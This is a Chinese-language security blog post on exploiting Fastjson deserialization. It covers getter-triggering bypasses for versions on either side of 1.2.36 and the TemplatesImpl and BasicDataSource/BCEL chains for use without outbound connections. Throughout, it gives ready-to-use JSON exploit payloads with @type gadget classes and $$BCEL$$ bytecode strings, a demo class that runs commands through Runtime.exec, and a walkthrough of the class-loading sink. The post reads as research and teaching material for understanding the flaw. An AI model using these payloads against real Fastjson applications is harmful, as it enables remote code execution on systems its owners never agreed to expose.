1. 1. 细节的思考
  2. 2. parse调用 getter()绕过
    1. 2.1. Fastjson <= 1.2.36
    2. 2.2. Fastjson >= 1.2.36
  3. 3. Fastjson不出网利用
    1. 3.1. TemplatesImple链
    2. 3.2. BasicDataSource链
  4. 4. 版本的局限性
  5. 5. 参考文章

细节的思考

1、首先是关于 parse和 parseObject,二者都可以将 JSON字符串反序列化为 Java对象,不同的代码可能会采用不同的反序列化方法。

加入要反序列化的 jsonString如下所示:

1
2
3
4
{
"@type":"org.xxx.xxx.Evil",
"cmd":"open -a Calculator"
}

三种反序列化方式对应三种不同的结果:

(1) JSON.parse(jsonString)

当JSON字符串包含@type属性时,FastJSON会尝试实例化指定类。

调用顺序:

调用无参构造方法创建对象实例。

调用setter方法:根据JSON键名匹配目标类的 setter()方法(若存在)。

直接赋值字段:若没有setter方法,则直接通过反射修改字段(需字段为 public或启用Feature.SupportNonPublicField)。

触发getter方法:调用某些特殊的符合条件的 getter(),如果JSON中存在某些特殊逻辑(如 JSONObject嵌套),可能在反序列化过程中意外触发 getter()

(2) JSON.parseObject(jsonString)

包含 @type时与 parse()行为一致,会实例化指定类并调用setter/字段。

额外调用 getter

由于parseObject()会尝试将结果转为 JSONObject,会自动调用目标对象的所有 getter方法以获取属性值。

这会导致 getter方法中的逻辑被触发 (即使JSON中未显式包含对应键)。

(3) JSON.parseObject(jsonString, Target.class)

直接解析 JSON字符串到指定类 Target.class,忽略 @type属。

后续逻辑与 JSON.parse()相似,只不过是在 Target.class中进行调用罢了,若 Target.class无危险逻辑,则不会出现安全漏洞。

parse调用 getter()绕过

Fastjson <= 1.2.36

反序列化时首先得到一个JSONObject对象,然后将该JSONObject对象置于”JSON Key”的位置。Fastjson在反序列化时会对”JSON Key”自动调用JSON.toString()。JSONObject是Map的子类,执行toString()时会将当前对象转为字符串形式,会提取类中所有Field,自然会执行相应的getter、is等方法 – Kingx师傅的解释,在这里直接引用了。

1
2
3
4
5
6
7
8
9
{
{
"@type":"com.alibaba.fastjson.JSONObject",
"x":{
"@type":"com.xxxx.fastjson_demo.model.Parent",
"childName":"open -a Calculator"
}
}:"x"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Parent {
private String childName;

public String getChildName() throws Exception{
System.out.println("get方法被调用");
System.out.println(childName);
String command = this.childName;
Runtime.getRuntime().exec(command);
return null;
}

public static void main(String[] args) throws Exception{
String command = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"com.xxxx.fastjson_demo.model.Parent\",\n" +
" \"childName\": \"open -a Calculator\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
Object obj = JSON.parse(command, Feature.SupportNonPublicField);
}
}

image-20250217223038009

为什么 Fastjson > 1.2.36不能利用这种绕过调用 getter了 (参考 jlkl师傅)

image-20250218092652262

Fastjson >= 1.2.36

1
2
3
4
5
6
7
8
9
[
{
"@type":"com.xxxx.fastjson_demo.model.Parent",
"childName":"open -a Calculator"
},
{
"$ref":"$ref[0].childName"
}
]

Fastjson不出网利用

TemplatesImple链

TemplatesImpl链在之前提到过,利用字节码加载恶意类RCE,由于 private属性的限制需要开启 Feature.SupportNonPublicField,很鸡肋。

BasicDataSource链

依赖:Tomcat数据库驱动组件 tomcat-dbcp

调用链 - org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection() –> createDataSource() –> createConnectionFactory()

先给出 EXP

JSON.parse(jsonString) Fastjson <= 1.2.36

1
2
3
4
5
6
7
8
9
10
11
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

JSON.parse(jsonString) Fastjson >= 1.2.36

1
2
3
4
5
6
7
8
9
10
[
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
},

]

JSON.parseObject(jsonString)

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

首先通过触发 getConnection()方法调用 createDataSource()方法

createDataSource()方法调用 createConnectionFactory()方法

image-20250217225507289

createConnectionFactory()方法调用 DriverFactory.createDriver()方法

image-20250217225600278

跟进,来到 sink点Class.forName(driverClassName, true, driverClassLoader); 根据 P神《Java安全漫谈》第一篇文章的内容可知,当使用 Class.forName()时,第二个参数 initial为 true时,类加载后将会直接执行 static{}静态代码块中的代码

image-20250217230428214

其中 driverClassLoader和 driverClassName可控 (调用 setter),接下来寻找一个可以利用的恶意类即可

image-20250217231244663

需要额外关注的是 driverClassLoader,即 exp中的 com.sun.org.apache.bcel.internal.util.ClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {
......
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else {
......
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else
cl = Class.forName(class_name);
....
return cl;
}


protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
......
return clazz;
}

如果 class_name以 $$BCEL$$开头,则取 $$BCEL$$之后的部分解码后作为 class的字节码,并调用 defineClass获取 class对象。

这条链子到这里就齐了,在恶意类静态代码块中写恶意代码,构造 $$BCEL$$恶意字节码通过 fastjson赋值给 driverClassName,并将类加载器 com.sun.org.apache.bcel.internal.util.ClassLoader赋值给driverClassLoader,就可以在不出网反连的条件下执行恶意代码了。

版本的局限性

1、绿盟官方对于 BasicDataSource链在 Fastjson各版本的利用进行了测试

https://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

BasicDataSource链不出网利用只适用于 Fastjson <= 1.2.24,因为从 Fastjson >= 1.2.25开始,checkAutoType中对 BasicDataSource进行了单独的检测,无法绕过

image-20250218094755768

L … ; 只能帮助绕过黑名单限制

2、BasicDataSource类在不同版本的 tomcat-dbcp包中有不同的位置,参考 KINGX师傅的 blog

image-20250218095025573

参考文章

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html – P神对于 $$BCEL$$的解释

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html – KINGX

https://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/ – 绿盟

https://blog.csdn.net/solitudi/article/details/120275526 – Y4tacker, $ref调用 getter

https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA – KINGX, FastJson反序列化漏洞利用的三个细节

https://jlkl.github.io/2021/12/18/Java_07/